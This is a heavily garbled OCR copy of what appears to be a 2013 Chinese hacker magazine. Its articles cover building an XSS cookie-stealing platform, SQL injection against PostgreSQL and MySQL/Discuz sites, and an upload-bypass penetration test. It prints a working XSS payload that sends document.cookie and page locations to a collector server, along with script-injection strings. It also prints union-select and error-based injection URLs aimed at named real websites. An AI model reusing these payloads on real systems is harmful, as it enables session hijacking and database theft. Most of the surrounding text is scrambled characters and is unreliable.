Chrome I % #%: 29.0.1547.57 m

Internet Explorer: 1E10

Firefox: 23.0.1

9 Letters: eval(URL)

SRR Eps ik

BN Y A% . Version: 4.1.2.2000

Chrome I % #%: 29.0.1547.57 m

Internet Explorer: 1E10

Firefox: 23.0.1

8 Letters URL=name

MR Eps (it

BN Y A% . Version: 4.1.2.2000

Chrome I % #%: 29.0.1547.57 m

Internet Explorer: 1E10

Firefox: 23.0.1

6 Letters: S(URL)

IR A R0 a4

BN Y A% . Version: 4.1.2.2000

Chrome I % #%: 29.0.1547.57 m

Internet Explorer: 1E10

Firefox: 23.0.1

0x06 =45

Javascript & — [ VRIFIUMMBEANE S, FIREWFTIXLE XSS s RS A IR Z SRR, fREk

AFUEIEA 1A XSS, IBABUME LW TTIXA FOE B H XSS.
FLSZW~~~ IR LEF R T DA ORI, BUOAA R 4% IR H B 4R R AR ey, BRARIR

ibm*ﬁﬁé BTN o

XGRS XA BN, AL FRATT— AR
(&5 TuiEdmiE: T

F3H. XSS #HEZ linux 55

ﬁf%‘: route
KH: RIS - FickTeam
Mik:  http://team.fack.org

XK xss G % 12 centos 2248, HA linux thZEAR £,
0x01 LAMP P35 (48 2

3023 W/ 3t 113 B EJ5HI#E: bttp://t.qq.com/hackcto WARHB: 48 15 H fr
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%6 N4k apache 31, centos CAERKLF T, K 1-3-1:

[root@localkiost “]# sum —v install h‘t‘tpdl

B 1-3-1
IRIG 4R E— KHEE R, &5 78 Complete!%2h 1, Wil 1-3-2:

httpd-nanal, noarch 0:2, 2, 15-24, e16, centoz
httpd-ton

Completel

K 1-3-2
SRIG 2% php P58, AT LAENT php N2, Wik 1-3-3:

[root@localhost ™1# wum - install phpl

K 1-3-3
OK, Z&5ekE, RATMHAR T, centos H1% %% 5¢ apache BRIAM M Sl AR B 42 7E /var/www/html/
T, %ﬂaﬂmi— N index. php I#WE/MM ﬁn@l 1-3-4:

K 1-3-4
i vim ﬂﬁ FATHEN phpinfo %L, W1 1-3-5:

phpinfo
index. php (¢

war,/wnr html S index. php 411 <List__ 1,1 &1

K 1-35
é@‘/‘?)ﬂml_# ¥ HTTP EERUIJWJ\E i 1-3-6:

]

K 1-3-6
H—MREE, REOVRARCERS, HEAEetce/httpd/conf/httpd.conf AL B
ServiceName Bt A4S 7o 25 MBI B apache it & SO —fE 8 . OK, MHK—
T, phpinfo LI R T, a1k 1-3-7:
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phpinfo() x g
€« c 192.168.4.32

Ra| WMTH | F - | WA, SRESERE? (#h%| | |8

PHP Version 5.3.3

System Linux localhost. localdom
2012 x06_5Bd

Build Date Jul 12 2013 20:356:24

Configure ‘ feonfignre’ ' -—huild=w
Command *——target=xG6_f4-redhat-]
prefix=fusr’ *—bindir=/
datadir=/usr/share’ '—-i
libexecdir=/usr/libexec
mandir=fusrchare/man’ *{|FEE sshZ: AES-256 20, 21
S—-with-libdir=libe4d’ - T T =
dir=/etc/php & ‘--dizsble-debug’ ‘—with-pic’ *—disshle-rpath’ ‘--without-pear’

K 1-3-7
SRIG SRR B SR, BN mysql s, Wil 1-3-8:

——wi themna—

[root@localhost “]# yum -y install mysql mysql-szerver]]

K 1-3-8
PN, —A mysql EEZR— MRS A
S P e B B EE it — T, Wil 1-3-9:

[ 11 TI# i m 1 +

—run. pl

lemzs with the . i qlbug

admin —u r
and:
ladmin —u r

K 1-39
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1§ ] service mysqld start

XA 3 mysql #1464k, AL
mysqladmin -u root password '#fid’
45 root WE —ME .

OK ¥l el 2228 58 B, 4555 2% php X803 2 IO SCHF, Wi 1-3-10:

wm install php-—m

K 1-3-10
3 apache JIlR%%, 3 phpinfo T, & 1-3-11 A1 1-3-12, & 1-3-13:

iloczlhost “T# service httpd restart
Stopping httpd: [ )
Starting httpd: hitpd: Could not relisbly deterning the server's fully qualified domain nane, using localhost
.localdonain for Serverlane

[root@localhost T4 I

K 1-3-11
mysqgl
HySQL Support enabled
Active Fersistent Links 1]
Active Links 1]
Client AFT wersion 5.1.6%
NISQL MODULE_TIPE external
MISOL_SOCEET fvarflibimy=ql fmy=ql. zock
MISQL_INCLUDE ~Lfusrfinclude/mys gl
MISQL_LIES -Liusr/1itB4 mysql ~Imy=qlelient
Directive Local Valme Master Valne
mysql. allow_local infile|ln On
mysql. allow_persistent |On On
mysql. connect_timeout B B0
mysql.  defanlt host ne ralue ne value
mysql. defanlt password (np ralwe no valwe
mysql. defanlt port ne ralue ne ralue
my=ql. default socket Frar/libfmy=ql mysql. sock| war/lib/mysql/my=ql. sock
mysql.  defanlt user ne ralue ne value
mysql max links Unlimited Unlimited
mysql max persistent Urdimited Unlimited
mysql. trace_mode Nff Dff
K 1-3-12
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mnysgli
Bysqll Support enabhled
Client AFI library vwersion 2.1.84
Active Persistent Links 1]
Inactive Persistent Links 1]
Active Links 1]
Client API header wersion 5. 1.89
MISQLT_SOCEET Swarflibfmy=qlfmy=ql. sock
Mrective Local ¥alume Haster ¥alue

mysqli allow _local infile On (n
mysqgli. allow_persistent On O
mysqli. defanlt host ne ralwue ne raloe
mysqli. defanlt port 3306 3306
mysgli. defanlt pw ne value nr raloe
mysqli. defanlt socket nr valwe nr raloe
mysqli. defanlt mser ne valwue nr ralwe
mysgli max links Tnlimited Inlimited
mysgli.max_persistent Trdimited Unlimited
mysqli. reconmnact Off 0ff

Kl 1-3-13

T, HEXHAULH php 1 mysql EEIEFETER T - LAMP & 5T,
0x02 ik xss HIEER
A% xss KRG, FEMEE, Wi 1-3-14:

ncalhost ]# cp /
acalhost J# od /

K 1-3-14
1EIEH$E’J Higal M\EE’J, & 1-3-15 A& 1-3-16:

root@localhost xesplatform

captcha. php  1ndex, php %356T, CIX
authtest.php config.php  inat.php  robots, txt rasplatform, gl
[root@localhost xssplatfora]d ||

K 1-3-16
OK, 54, THITHEICE .
TS xss PRI A — AN PE AN B FE (W P CHAR R FH root, H root RG22 — KD
HEANFERERCE, W 1-3-17:
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]TI.}"'E!ql -1 roaot -

Commands end with ; or g

Tvpe "help;” or "W for help. Type "%W2 to clear the current input statement.

myagls I

K 1-3-17
mysql -u root —p;
BERCHE NG, ] 1-3-18:

CREATE TISER er IDEMNTIFIED EBEY °
0 rows = ed (0,00 )

K 1-3-18
BT xss BAEER xsser FF, xsser FH P B BIS % € N 123456
WIMIEIZE ) xsser FI P A2 %A BLPR ) o FRATTHE xss B0 22 1 BT A AR k25 xsser, 1P 1-3-19:

W)} 0 = r’ ' IDENTIFIED EBY °
0 rows affected (0.00

my=gqls

K 1-3-19
GRANT ALL PRIVILEGES ON xss.* TO 'xsser'@'%' IDENTIFIED BY '123456';
OK, H¥ls e dEmtiE& s 17, FATEMBUT config SCfF, W1k 1-3-20

my=sqly exit

Be

[root®@localhost zssplatform]# wim configz. php I

bl ——L7 arm
K 1-3-20
F vim #TJT config.php, 1K 1-3-21:
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Top <List__ 1,1 ALl

K 1-3-21

=ROOT_PATH.’

K 1-3-22
AT xss T & VTG EE (xssplantform.sql 34 S NBERATH mysql, 1 1-3-23:

platform|# mwzgql —u root -p == atform. =gl

platform]# I

K 1-3-23
OK &F FERFE, &l 1-3-24:
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gl —u root -p

|:I:I]TL'|T[EIJ'[IjE Etl'uﬂ 1.'."i‘t}'l .

Tvpe "o’ to clear the current input statement.

K 1-3-24
AT, B, BE D CHRE S, AV ZE2TE, WK 1-3-25 & 1-3-26:

€« o 192.168.4.32/xss

. ohp
jul ]:'|_p

+ + + 4+ + + 4+ + + 4+ + 4+ ~+

r
r
r
r
r
r
r
r
r
r
r
r
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Al LR BN SR )R T root [, FrUAFRATTNCE AR, 1kfth)E T apache P4 4 7
apache, 1l 1-3-27~4 1-3-29:

platform
platform

t xszplatformlt 1= -1

nthtezt. php
thp
onfig. php
index. php
2 init. php

-
1 z
1
1 :
-
1

2 robots=. txt

: EF. CYX
- ] E: latform. =ql
ralhost

1-3-29
OK #i /& apache ] T »
il B E, A 1-3-30:

€« (& 192.168.4.32/x

XSS Platform

g%
i APE

(BF] TREWS? 2LiMm

K 1-3-30
FFAI T A MR T .
0x03 ZEZHIVAEAN
MR, BUAE ST 2 B ORI, R R B s
B NEHEE, ¥ oc_module AL H S 1P B4, Wl 1-3-31:
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and column names
rtup with -4

-
|

ME(code, "hitp://xaser. ne’, "hitp:// latforn’);

K 1-3-31
ARG IX B H RCAS (VR Y 75 4 /var/www/html/themes/default/templates/register.htm| B 1fij 53
A7) button 5N submit, 1] 1-3-32 A1 1-3-33:

| [root®@localhost zzsplatform]# wim themes/default templates/register. himl

1) value

Kl 1-3-33
MGERN T ARESEEE I, 4 /var/www/html/templates_c/ H 55 Il B SCAM B o
H )5 httpd, WK 1-3-34:

i Uhd htnl.php  $§14° 148" 1AROBADEYY 1og §¥header, htnl, php

K 1-3-34
BT ERATIM DT, OK AT LAyEAM 1.
{HIZIX BLVE M B g2 Y IXAE ) 1l @, 4nf&] 1-3-35:

T ESEERE SR RE
Kl 1-3-35

TR, XA ] AR g 7R, R A AR, SR VIR, 7E config.php X
BT, KB5S LT B EOE E ik DO localhost, 11 1-3-36:
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A (BE 2 EHrr=ql)

ite, S RIE M cl

K 1-3-36
BRI T A —K, 125 SR B IR AE RO Al o 127 siARES, BUk localhost
OK. %R, AFEBRIUL localhost DL IEREEHIEOL, AR IS HREE I 0L, RAIRE
5% Bkt (RA%ARE R, H root P& FEMRE, N FaxXFE—HA)1:
GRANT ALL PRIVILEGES ON xss.* TO 'xsser'@'localhost' IDENTIFIED BY '123456';
SRR EEF P — AN ARRE AR, AT INK, W RE AT, config.php SCAFHLTH
fR P E50R root P, FRINR . 48R B R — BB G R 22 5 apache RS54 .
ISy TaR iR o
service httpd restart

T, XTER T, WK 1-3-37 f118 1-3-38:
F AT BE

1-3-37

= L192.106.4.32/

XSS Platform HA: nimei , BL

wEE g EEER I
HE & HEFE nES oENE B8
mEER A

papiscie

1-3-38
0x04 XEEE.. B ..
U, ATHENESE—2, MK XSS ge5 M H, FEEE /MR TEM, &l 1-3-39:

EEE EmmE (z:30]
E-&#H BB ¥+ M eiEEE e B1F

e o2
At

TS

X55.[S

EiAdEHR

K 1-3-39

i

I
=
S
Sl
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KBIE—ANTHIE, WK 1-3-40~ K 1-3-42:
AN IS R R [#INIVIRN]] HA: nimei, B

KRS - Shifus: S50 oEme

EmEn  om | HERH

AdiE
Eaf IS fest
XS5.j8
2ihiEH
test
A
(i)

Bl 1-3-40
pmE g CRNE: S0-EERALS
- BB
K kg -
AdtiEih
Eaf\rsE test
¥Ss.js
Biligi . @ Bl ER
EEFRENSH
¥ JCFEEpEEssIon ) REEPSEsson
. xss.js BHR
« O Hatilirpe BR
+ BEXEA
P
i g
Ko1-3-41
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. SEifuE: 50 -MEEH
EEE  am T ”
test
= B EF: test
EhviEth BlE
At HAE:
Eapihirsd (function(){(new Image()).src="http://192.168.4.32/xssplatform/index. php?
¥sois do=api&id=TNMale&location="+escape((function({try{return
. document. lTocation. hreflcatch(e){return '"}})
Fihigth ())+'&toplocation="+escape( (function(){try{return top.location.hreflcatch(e)

{return "I} )+ &cookie="+escape((function() {try{return

document. cookielcatch(e) {return "'1})())+ &opener="+escape( (function()
{try{return (window.opener && window.opener.location.href)?

window. opener. Tocation. href: ' "}catch(e){return ""I1 010 (" '==1)
{keep=new Image();keep.src="http://192.168.4.32/x==platform/index. php?
do=keepsession&id=TNMaledurl="+escape{document. Tocation)+ &cookie="+escape(doc
ument. cookie)};

i #EA -
BT AEEA LM CEEREEN « FIRFE MEAE WENSEHR.

</textarea='"=<script src=http://192.168.4.32/xssplatform/TNMale?1377587230-
</script»

&

</textarea='"=<img src=# id=xssyou style=display:none

onerror=eval (unescape(/var%20b%30document. createE] ement%28%22script%22%29%3E6h.
src30H22http%3A%2F%2F192.168. 4. 32%2FxssplatTorm&2FTNMal e%3F%22%2BMath. random®
28%29%3B%28document. getE] ementsByTagName®28%2 2ZHEADRZ 252 9%5 B0%5 D%7CH7Cdocument.
body%29. appendChi 1d%28b%29%36,/ . source)); //»

BEEL R EEATI A

http://192.168.4.32/xssplatform/TNMale?1377587230

e

K 1-3-42
2%, FHIH AR B RN T, B
<script src=http://192.168.4.32/xssplatform/TNMale?1377587267></script>
M —F, Wk 1-3-43:

I | Iﬂ
2 (UNREGISTERED) == =
p = 1

File Edit Selection Find View Goto Tools Project Preferences Help

<script sre=hitp:

@
"
g
x
L

|y Rk
£l BEFE 2
& =R

i
il
A

1 e
& =mEs )
) AHEELE (D)
ca FIBREE (E)
ca FAHE (F)
5 CD I (Hy
S cifs (\\192.168.4 =

G [

THEE(N): testhiml
FAFHEAT): | HTML (~html= htm;".shtml~xhtml;~. phtml=.ing~ tmpl=.tpl".

« Fesnrits

K 1-3-43
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€« > C 192.168.4.32

XSS Platform BA: nimei, BH
= I L R
test I =EAT REFE HE#H iEnE B
P s test test 0 2013-08-27 g
RAHER
B 1-3-44
Gt — T
Elements Resources | Wetwork | Sources Timeline Profiles Audits Console X
Name Method sl Type |Intiztor e | Tme Timeline
0ms  15ms A0ms 2ms
test.htm| 08 Hms
GET tedt/html
ThMalel1377587267 . it et test htmlL 4748
= 192168432 fessplatform ’ NetFoun T P 08
K 1-3-45

404 1, TR, WIRESE url ES A,
TEMERR H R, A — .htaccess IR, Wik 1-3-46:

Lh

Kl 1-3-46

i1
hp ?do=dob arth=§ 1&domain=33

rhact=validate

Kl 1-3-47

<IfModule mod_rewrite.c>

RewriteEngine on

RewriteRule A([0-9a-zA-Z]{6})S index.php?do=code&urlKey=51

RewriteRule Ado/auth/(\w+?)(/domain/([\w\.]+?))?$ index.php?do=do&auth=$1&domain=$3
RewriteRule “register/(.*?)S index.php?do=register&key=51

RewriteRule “register-validate/(.*?)$ index.php?do=register&act=validate&key=51
RewriteRule *login$ index.php?do=login

</IfModule>

BICTS, FEBEUT fete/http/conf/httpd.conf X4, U 1-3-48:
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It can be "411%, “None or any combination of the kevwordz:
Optionz FileInfo futhConfig

rride E

Kl 1-3-48
2 —F AllowOverride, M iZsefEiXH, 2 None ik All, & 1-3-49:

Kl 1-3-49

: atform]# =
ttpd

gz httpd:
httpd:
atform]# I
K 1-3-50
Elements Resources | Metwork | Sources Timeline Profiles Audits Console »
fame Method Bl Type Initiator fe VL3 Timeline
20ms 30 ms 40 ms
= test.html GET text/htm 0B 2ms
THMale?1377587267 200 test.htmll 910B 15ms
GET applica...
index.php?de=apidid=TN... ceT 302 text/html THMale?13775... 206E 10 ms | b
Kl 1-3-51
P B RVTHHARIER 1, 0k 1-3-52:
A FEET TR
A=kt mB P& Bl E 33
test test 1 2013-08-27  HhiEs
Kl 1-3-52

BAHE R R R DR 1
TFARVEE A RE— DN NI, EEARINMRAETR I IE .

Kl 1-3-53
ICIHBIE, AREHRATE SR N BT CUEIE IR, 8 T HdEE, WK 1-3-54:
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Commands end with ; or \g.

zdifj. com
0] 0

2| 0| adnin g f 2eell? Fdedda | adnin@edaif, com |
0| WMILL | WL 0| I
0| 0| 0 377586
3 | I | Ellj.:f_'l 5t ? Qd 88afdcida | :a_fljilﬁqu. oom
0| WILL | HULL ILL 0|
0 0 0| 13 8| 13775
0| ramed ida | nimeifiqg. com

K 1-3-54
IR, S T IRIR AN TIRZ H 7, FATIAE 2 nimei XN P, 2404 AT adminLevel
PR % 1, G 1-3-55:

id=4;

Bl 1-3-55
UPDATE oc_user SET adminlLevel=1 WHERE id=4;
LHCHH PSR HER—T, Vi
http://192.168.4.32/xssplatform/index.php?do=user&act=invite
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XAV, Wik 1-3-56:
A HRTEIEE

Sl (1) FHEREER
i R EHR)
0443c7de1a30aebechhassa04924aT18

Helad o FRETHER
B8 ERHEMRE)

Kl 1-3-56
NS S S
(&5 Tilldnt: T

FE SOLEA

#1395, PostgreSQL BEHZEiC

fE#: huang
Sk H: Silic Group Hacker Army
W3k :  http://blackbap.org

W5:

X} postgresql ¥ AAR /& P E .

FEATE AT 2 BB R AN H R WL AFEA A, X JLRE — A5l i i
RILT —A B HASE B3 E T4

TR TR St 2R T DA AR 1Y) o (HR AT IRk LI &G AR T, R
U HCEMNE H R RK Y] 7. WA EIAL R4 Rt IRA B R T 5 R 2.

EX:

FEN AT

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and 1=1 iR [a] IE¥)

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and 1=2 (iR [Al4i5%)

T RFIWHEN I T5

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 aNd(6=6) 6=6  C(iR[A]1E%)

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 aNd(6=7) 6=7 CiR[EI45iR)

W7 B

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 order by 15 CiX[A] IE %)

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 order by 16 (iR [El4#1%)

H 2 A FER L union select AT UL .
A IXFEIE S -

i

liais
=
S
S
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B RIS R KA & T E: between 0 and 30 2 [H].
F iR

BT RBANIRE B LR AR 4
XA IEH -

R IR

PAVIG B 7 EHw 2 — A FAF I ascii A2 117,
BATRIES A

—H N EMREEEEESR K T .
259 utokyodb.

Ok, AT REIUESRIEHESA
BAVEREBEERZ DK,
B

FATH 20 M.
BT RBATRERERRZM 4.
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AR T REES D RONBRZH A,

—FERIT RN BRI RESE BIFATHIR T .

HEEHAR (select ascii(substr(relname,1,1))55—N 1~ 2

AR VL — RIS AN FE R ZE TR (select ascii(substr(relname, 2,1))
IAE A TR E S AR AR 4.

EH .

ROIMERE - AROFE AT LWH V) WAR SR A?

VR, FRATA T OFFSETO o4y OFFSET 1 HITT,
RPN E) T RATEENE TR N: publish_admin.
U3 T RBATRE B FBE 4.

e R R IEA):

BEF 44N xxx ) oid H:

EIRER.

T HE oid ZRAYSE oid, B R AR IRATH cast BRE R B 5 # i varchar 257

7
o

W%
(NG, Z#5:)
HSLRKFFEXNMER], NIZEERAREN, &, 1BA)RATEX 1.

2 oa1 1/ 3t 113 U EHGE: http://t.gq.com/hackcto HARAY: 48 15 H EMf: 207G



(Ze5%) —F B eBETIHT B 7 M35k : www.hackcto.com 2% ES . HACKCTO-2013-09

E A4 [l H R ?
FEHBAGEMS, BER TARE TAEE? BATH TARIMET,
EEANFIIRA AEH:

1A !
KRFERNIB?

gad k7. HiRT . XHURERTBUIEA.
TANTRYGEEE BB T BN HIOEZ A LUXFE:

AL IXARIFATS R H 1

FSOx.

HREE:

T HHEE B EAMTI . ],

AR T LA f55E 1!
(&358) FUESE: FETEAL A%

#2395, PostgreSQL VENF W.jn S 4

{3 : YoCo Smart

SKH: Silic Group Hacker Army

Mk http://blackbap.org

AHET (PostgreSQL {ENTRVESRFE ) TS, B eANJeRS LG WA B, 5 W A X

FEJLAN:

QAT S R A3 T T PostgreSQL HHE e, - BREOR 7 B IA) s o] B5L,  GPC A on I B4

BBl @, JEREAF I, AT — N —AN

1) el H W php FEECERE 228 PostgreSQL

2) FAMRBE—A php+PostgresSQL F H A8 T & iR ELE A WA —MNEN A, RATE
xx.php?id=n G HIIHE5] 5", BRI FEEEG 2RI
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A IXFE TUAS KRB 7] DL W8 P2 PostgreSQL:

11 PostgresQL 1541 pg_query()

T function.pg-query H1 1] pg

BT MysQL AR L, %A K ILIX A unterminated quoted string at or near A~ /& MySQL

). MySQL (A [F] R R AN X R K T

3)  FEBCHURN T B G i 1) R

4)  FRATE K L AE N A order by 2 T PARfIIA now i R 1 BUEUOK T 2, 243KAT order
by 2000 [, ARATTREA IS RECP A 2000 2 HE, MR S

TXREREOT AR AT DU B IER I 7 BUELT
BT BN 14, WAFA TR MysaL (125 58

XAV ) RN 2 {H 2T 99% M 22 HH u) JE T

XA ENE AT AR ? W EARE R, union BTG IZBEUHE T, (HEEEAHT.
TR FOR KA :

AFAVERIR IR AL, TATVEM BRI BB S 7 B R A X

R R RAIRRIX 14 N, B— TR T, AT R LR B TR TR
HE n 1 14 ROTFARE, BAIME?

IR, N0 1,2,3,4.....13,14 X7 Br G G i NULL, 51124

TRFE R 22 10 S SRR (0 ) O T
SRR BATAEIE null AR T, ARUCE e, A0 SRR R 38R (e 1= £ i Pl o D) £ P 4
FIEHT A, WERREERE B EHRE null FF4EEEE T — 1.

IXFERRA A5 21

Kb, e RO, — AR P SR R R R Y
P SO R B R AR e B, Ay, R ORI, R X A B iy, M
FEBHRSCA, Billn'a':

XFER T T
e N T SE B
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XN NAE 2 BRAH .

5) GPC & E N on [1]

PHP AANIhRE ARG, K “ AZFFF L7, B /Rt php?id=3'or'1'="1 1 i J5 PHP
H ZN45 VR 45 1. php?id=3\'or\'1\'=\'1 A J5 47 F — P 3hfE

7] REAE W6 LW 2

IR, BE A BN RAK KN, GPC N on, BEAZ'a#AEMK T \a\'?

B, RET . WBARDHARIAT? ZRERR. BIE, THENENIT, N&TE
RIBIIHIE

HAEH, BATENF &4

Y NSES

WABAT A 2 AL AL ? o' A & AR AW I 4F, Fand 1=2 —F#, HJEH
T, TSLBRE X, and 1=2 A LAE K 1=3, 1=4, % 1=1000000000000000000000,

X HE R RAI O, R .

TR IRA TR o' He il = SLIKIWE 2 1 version()it Al AR E NG5, Hi—F:

xx.php?id=0+union+select+1,'a',null,2,3,null,'v',2,'c',3,'d",4,'e',6

xx.php?id=0+union+select+1,version(),null,2,3,null,version(),2,version(),3,version(),4,version(),6

BAEA)EA B — ARG 5,

6)7F R AT 7]

PostgreSQL MIVEREFFA B4, WU, REWRAEARENR, NEEM/ B %23 K&k
AW ? AR MysQL, MSSQL, SQLite i&F PostgreSQL & Fhil F ) “--7, i a] Dk
F%2b%2b, — R

REFd, 2B, —iE. WHKH%2b%2b A AT Re2xit U nl ()R 8 2k M B, H RS F1E 1) BE
WEEL, TR -- AN .

7) MY

PostgreSQL & BE G K 7 (ZRALLTF MySQL ) root, MSSQL ] sa)% 7N postgres, AR EHE# (2
LT MysaL 1] mysql 04 22, MSSQL 1) master H4 /5 ) 44 7N postgres.

root fll sa BT LA R @8 R, PostgreSQL L HIRZ KB OASH EEH I,
B3k —2825 PostgreSQL % & I nologin 1] bash shell, J& R K, 7] PAS2RE FEE ) shell
W TiXa%, #eie. FRATFESCEE,

Hbr H AR KE: http://www.u-tokyo.ac.jp

XMk B AR IE G T~ ( PostgreSQL B VEZE L) IXAN K% & B 1EHE PostgreSQL 457F 1 .
BARGRIRE R ME, AT, A FE R RAOTEEANR:

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+order+by+15-- T TH] 1EAff

http://www.u-tokyo.ac.jp/news/detail_e.htmI?id=13072+order+by+16-- DU HI 1%

BOA R . (HAZ R U E 7 B 15, 2R
union+select+1,2,3,4,5,6,7,8,9,0,11,12,13,14,15--
L 2 5RO DU, SIS ZH 1 14T

IR AFATIXFENE ?

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+and+1=1+union+select+1,2,3,4,5,6,7,8,9,0,11,12,13,14,
15~  FHIRTUE

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+and+1=1+union+select+null,null,null,null,null,null,null,n
ull,null,null,null,null,null,null,null-- 1EHf LT

TP RRAR I A5 B8 R 7 B USSR R 7 BT

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+and+1=1+union+select+null,null,1,null,null,null,null,null
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IR, XA A A 3 N FEROR A, HAWVEARE, iEEge, b~ e —4
null BT, #o RoR TUHAT IR

AT BSOS TGT T, B R — A null A'a' #4s B BIAR R TOTH, N Aale? &2k
#&, gpc N ON, F3'a 8L 1 \'a\'s

BHERA Y g RAEX R T .

AT UFAEARSCHTTH U 15 GPC A on, HBiAZEH'' T, H version(XE B LF T -

PR L, HSEERATA F R R — A Bt 1.
W B A LA B f2 a8 — —!

PostgreSQL ] limit y offset x
S MysQL 17 limit x,y —FERI .
limit 1 offset 0 /& 55— 25K, limit 1 offset 1 /& 58 558 . KIRIEHE.
W1, EHMEMAN T, B4, SRR (RN 1 PostgresaL 7 ANFift ok
7, BRERARARESR, AL, BHERBRATET .
(&35E) JiiEgmb: BETEALANE

$39.  HIEE outfile 5 shell — g 0015

{E#: Nana

K Silic Group Hacker Army

M3k http://blackbap.org

WERAE—> mysql 235 )% 1) console BT B #- 5 H —A) 145 (1) i
FHIZ M _E 15 () B4 S A

T BT windows — & £3 A _E T FE (1) 78 s 4500 26 42

X R DG 23 TS A2 U ) linux R )

NI 2] — root 25 14 ) MySql, i phpMyAdmin, outfile i34, {HJ&75i2 load_file.
T fig e

R

(E58) FUiESmdH: FETEALAE
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47, MySQL FENRRTT S [table] Hi 4K 7 &

fE#: YoCo Smart
Sk H: Silic Group Hacker Army
W3k :  http://blackbap.org

HE:
TEBEAT MysQL VENFIEHE, ATEEIR /DA NGB RIIXA R @, Ad®wASRKIER) T FEARRE,
MySQL 5.x FI%E, 24T

| select table_name from information_schema.tables where tabel_schema=database

VAR R, LK IR BT R AT i [table], 253 88 it FLAb B T2
WITFRE BRI RS 20 T, B ALl RENXA 47
JER I, Fltableloox FLE NEA, BRRAHLE

| Table 'down.[table]sessions' doesn't exist

AL IE AR P T IXA [
1E3C:
B EIANTRE 5 — 2155

%2527union+select+1+from+(select+count(*),concat(floor(rand(0)*2),0x3a,(select+table_name+from+informatio
n_schema.columns+where+table_schema=database()+and+column_name+like+%2527%25pass%25%2527+limit+

0,1),0x3a)a+from+information_schema.tables+group+by+a)b%2523-1.html

B B A S "pass" IR B HIZE—A, K 2-4-1:

Discuz! info: MySQL Query Error

Time: 2013-4-27 5:15pm
Script: /corefentrance_web.php

SQL: SELECT * FROM [Table]stats_se_arn::h WHERE g = "union select 1 from (select co

like "%opas=%:' limit 0,1), ema.tables group by a)bz’
Error: Duplicate entry '1}[Table]backyard_seg=wffi=|' for key 'group_key'

Errno.: 1062

F| http://faq.comsenz.com #EHiE s ] ﬂ silie

WWW.BLACKEAP.ORG

2-4-1
BAE BXA LB A RS2 [Table]backyard_sessions
EABHERIEIX N RBOFHENER), HRREE R R, W 2-4-2:

Discuz! info: MySQL Query Error

Time: 2013-4-27 3:12pm
Script: /core/entrance_web.php

] 2-4-2
Table 'down.[table]backyard_sessions' doesn't exist [ B 5k /& PiiX N FAFELE
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W TARKEE, TR, &IX, Gk, AR RSP A2 FZ/WE OS2
THT—T1 hex:

%2527union+select+1+from+(select+count(*),concat(floor(rand(0)*2),0x3a,(select+hex(table_name)+from+infor
mation_schema.tables+where+table_schema=database()+limit+48,1),0x3a)a+from+information_schema.tables+g

roup+by+a)b%2523-1.html

S5 R KBAF RN HEX Rz /T 70, ik 2-4-3:

Discuz! info: MySQL Query Error

Time: 2013-4-27 5:35pm
Script: /core/entrance_web.php

SQL: SELECT * FROM [Table]stats_search WHERE g = "union select 1 from
a from information_schema.tables grawg by a)bz'

Error: Duplicate entry '1:785F7365F 38 696F6ET3:" for key 'aroup_key'
Errno.: 1062

F| http://fag.comsenz.com &

‘W‘W‘H’ BLACKBAP.ORG

%] 2-4-3
{EZWIERIRAE hex()FMHI IS unhex(), S5 T HHE5 1.
A F THE4T unhex, K ILISH )45 5 785F73657373696F6E73 4/ ASCII #&"x_sessions"
TR 150 B R 25 i A 3 PR B i [table AR EE T x_o
LFIE, XM T ERICE YR T, MTHE BB AR Z, WY E A E UG8
FIZAMEUIAA KT ILH, ZAMEORA B RTTIER
(3058 i EgmiE: BETEALNSE

B=F EHEZE

#1179, Linux AMBSER B

{E#: Chaplin
KH: EEWIE - FickTeam
Mk:  http://team.fack.org/

—. WIFARB:
R %, whoe ) wys $—i . SRJE 245
TS e, RSG5 1A ke T, & 3-1-1:

Scan Results | Status
El- 59 Scan Thread 1 ( http: //2Suesumwe ) Finished (283 alerts)
EH- [illy Web Alerts (283)

& @ Cross Site Scripting (verified) (22)

& @ jQuery Cross Site Scripting (5)

#- @ Slow HTTP Denial of Service Attack (1)

#- @ Unicode transformation issues (27)

= @ Weak Password (2)

: D ficmsfindex_jcms.jsp
l:l Jvcfindex.jsp

|»

B 3-1-1

i

liais
=
S
S
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I HAERIII BRI S, WK 3-1-2: (T google Wb #8071k B2 & [, Tﬁa IE BAT])

CMS20170

REEE | WTEE | EEEE | Phhes | IRt | FhEEn | waPeE | RmE I EHBe)  FERAL =2
R YR : FEART ) EEB%

PR am om o kb
-0 swaik BEERETCR

K 3-1-2

B
IEFEOLT & ik T A% jpg,gif png ZAMHI S, fEH] burp suite SRIFFAT R LAE, ik
1E|Eﬂ$ Eﬁl&ﬁtﬂéﬂlﬁ Wik 3-1-3, K 3-1-4:

I
EIR 175 =
- | BEEs
| b
= EE: 1 EfEigzpE 23%E0ipa.pngipeg 3.8 HHEIACERRHITE10MB
BLPY 4 —RE]E 10430
- W ERe
B s |  Ep b
i
= BEEHE | XERERES A,
. / 1 5sp 2EIRER, DAY
r a g;g_}'!‘?sﬁ DT DUNER e wmen | o
-
=
= [ mhiommTEEn
AR
= CHAER  CEAGRE |
siyss [ =]
= KeRgEE lpx
- 2 RS r
- reEs | xE | ¥ k@
attp: //210. 75. 207. 83/ jems/m_5_3/choose_frame. jspPtype=28&kind=1 g T?.“;nf:.:rnet | ﬁ#m‘t —rcuritﬁeaf
K 313

4 - L

Filter: hiding XML and general binary content

hos! ' memod. URL params| mod | status |
E DUOMIYY.COM [GET — UPO3TE 00 Ver=0UomI_U. 38 USPOS=2UT28pIo=yys. L] |20
____ 1783 ,GET ncrns!salpwleuploaonmaqeslotogLeg oif 200
opr_pic_subgroup_oadjsp?. | v | | (200 |
nacrnslsmoh’ﬁloupload!oommrvus/abundantﬂwndo m W [200 ¢}
acmslm_s_almdwelque_pcc_dmoose jsp?dassid=0... |v] L] [200
M [l 4

[ roquest | response |

| raw [ params | headers [ hex |

------------ €14€19gLECHIGIIGI3GI3ac0FKNTGIS
Content-Disposition: form-data; name="Filenams"

